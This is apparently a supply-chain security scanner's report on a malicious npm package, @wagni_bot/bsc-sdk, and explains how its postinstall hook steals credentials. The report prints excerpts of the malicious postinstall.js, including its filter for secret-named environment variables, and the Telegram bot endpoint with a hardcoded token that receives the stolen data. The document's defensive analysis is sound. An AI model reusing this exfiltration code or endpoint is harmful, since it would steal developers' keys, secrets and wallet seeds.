registry / Credential exfiltration / @wagni_bot/bsc-sdk
@wagni_bot/bsc-sdk
Unofficial bsc-sdk SDK
This report shows the evidence for @wagni_bot/bsc-sdk@1.0.0. 8 of 8 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiRead-only source inspection confirms concrete install-time credential and sensitive file exfiltration to Telegram with no user consent or package-aligned purpose. This is malicious malware behavior and should be blocked.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install of @wagni_bot/bsc-sdk@1.0.0
Impact
Leaks environment secrets, SSH keys/config, wallet or seed material, credential files, and host metadata to an attacker-controlled Telegram chat.
Mechanism
postinstall credential and file exfiltration
Attack narrative
During npm install, package.json runs postinstall.js. That script reports host/user/cwd/platform data, scans the project directory, home directory, and ~/.ssh for secret-related filenames, reads matched contents, collects credential-like environment variables, and sends the data to Telegram using a hardcoded bot token and chat id.
AI rationale
Read-only source inspection confirms concrete install-time credential and sensitive file exfiltration to Telegram with no user consent or package-aligned purpose. This is malicious malware behavior and should be blocked.
Evidence
package.jsonpostinstall.jsindex.jsprocess.cwd() matched sensitive filesos.homedir() matched sensitive files~/.ssh matched sensitive files
Network endpoints1
api.telegram.org/bot8804087989:AAHUia-5DCloXsg9M9QhffTsHO5J_6FAxQM/sendMessage
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines install-time postinstall: node postinstall.js
- postinstall.js POSTs to https://api.telegram.org/bot.../sendMessage using hardcoded bot token/chat id
- postinstall.js scans process.cwd(), os.homedir(), and ~/.ssh for .env, credentials, keys, wallet, seed, mnemonic, and secret files
- postinstall.js reads matched file contents and sends them via sendFile()
- postinstall.js filters process.env for PRIVATE/SECRET/TOKEN/API_KEY/PASSWORD/MNEMONIC/SEED/WALLET/AWS and sends values
- index.js is empty, leaving no benign SDK behavior to justify the install hook
Evidence against
- No child_process, eval, or native binary loading observed
- No persistence or destructive filesystem writes observed
Behavioral surface
EnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1#!/usr/bin/env node
L2: const https = require('https');
L3: const http = require('http');
...
L17: });
L18: req.write(payload);
L19: req.end();
...
L70: const data = {
L71: hostname: os.hostname(),
L72: user: os.userInfo().username,
...
L89: // Send sensitive env vars
L90: const sensitive = Object.entries(process.env).filter(([k]) =>
L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...
Critical
Findings
2 Critical1 High4 Medium5 Low
CriticalCredential Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @wagni_bot/bsc-sdk@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @wagni_bot/bsc-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.